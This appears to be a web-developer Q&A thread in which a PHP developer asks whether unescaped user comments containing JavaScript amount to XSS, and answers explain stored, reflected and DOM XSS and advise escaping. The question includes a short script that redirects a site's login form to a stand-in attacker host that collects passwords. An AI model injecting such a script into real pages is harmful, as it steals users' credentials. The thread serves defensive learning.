Is user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS

12
votes

I'm a PHP developer and I'm looking to improve the security of my sites.

From what I understand the following are two major types of vulnerabilities which affect web applications:

  • SQL Injection
  • XSS

SQL Injection can be fixed with prepared statements - easy.

But I still don't really get XSS - is the following an example of XSS?...

  • Page full of user-made content has a login form at the top (site-wide).
  • The user's input to the page is not HTML-escaped.
  • A user posts the following content (e.g. a comment) to the page...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
  • An innocent user comes to the page, the script executes.
  • The innocent user realises they're not logged in, and enter their details into the form.
  • The user's details are sent off to http://somehackysite.com/givemyourpw.php and then the user's account details are stolen.

So I really have three questions here:

  1. Would this work?
  2. Is this XSS?
  3. Are there any precautions developers should take against XSS other than escaping HTML?
4
phpjavascripthtmlxss
1) Yes. 2) Yes. 3) Yes. strip_tags() is a good start. – DaveRandom
@DaveRandom 3) No, strip_tags is evil, never use it. NEVER! – NikiC
@AlexCoplan reddit.com/r/PHP/comments/nj5t0/… for some of the problems. – NikiC
a better and more elegant solution is to use htmlentities (php.net/htmlentities) since it will display exactly what the user input was, but won't let actual HTML to be written. – thwd
htmlspecialchars is better, you don't want to use entities for umlauts etc nowadays where utf8 exists. – ThiefMaster

4 Answers

5
votes

There are two types are XSS attacks: Reflected XSS and Persistent XSS attacks. What you've described, where a user of the site inputs data that gets saved on the server side, and is rendered for anyone viewing a page, is considered Persistent XSS. Similar attacks would be if you have a comment box on a post that doesn't escape Javascript, or a profile page I can put anything into.

The other class of XSS attacks is Reflected XSS. These are a little more complicated, but they amount to one of the arguments in the URL for a page not being escaped. They frequently come up in things like Search pages on large websites. You'll get a URL that includes some javascript in it (sorry, my example got mangled by the renderer here, so I can't show you an example) , and the page will render the javascript which would allow someone to craft a malicious URL. These are especially dangerous on sites that hand any sort of financial data; imagine a conscientious user who always checks to make sure the they're going to the write link to their bank, but because of a Reflected XSS attack an attacker is able to send them to a legitimate page on their bank's website, but that has malicious code in it.

In any case, your example is Persistent XSS. You can do even more nefarious things with attacks like that than just changing where a login form sends users. They've been popular for years to do things like scraping information from personal areas of sites, or coupled with CSRF to cause an authenticated user to do something by simply looking at a page. There were a few MySpace viruses a while back that did that, and spread from profile to profile.

5
votes

Is this XSS?

Yes, this is an injection flaw in general and would be referred to as a XSS exploit in this particular case as it’s JavaScript that was injected.

But this injection flaw, where one user’s input gets reflected to other users without any changes, can also yield to other attacks like defacement.

Would this work?

Yes, it’s very likely that this would work as it’s the origin server that serves this code snipped just like any other code in the web page. So it’s like the author of the web site is the originator of this code and will be treated likewise.

Are there any precautions developers should take against XSS other than escaping HTML?

There are actually three different types of XSS: DOM based XSS, Reflected XSS, and Stored/persistent XSS). Your example is a stored/persistend XSS exploit as the server deploys the exploit with every request.

The general rule is not to trust any user input. That said either only valid user input should be allowed or the user input is filtered (removing invalid values) or properly encoded (convert invalid values) before outputting it. See OWASP’s XSS Cheat Sheet for further information.

0
votes

it's xss and i believe it's javascript injection too
so i think this link will help

0
votes

Yes that is an example of a basic persistent XSS attack. Not only could a user steal credentials in this situation but also attempt to infect visitors, or spam links through your site.

OWASP XSS Prevention Guide is a good start. https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet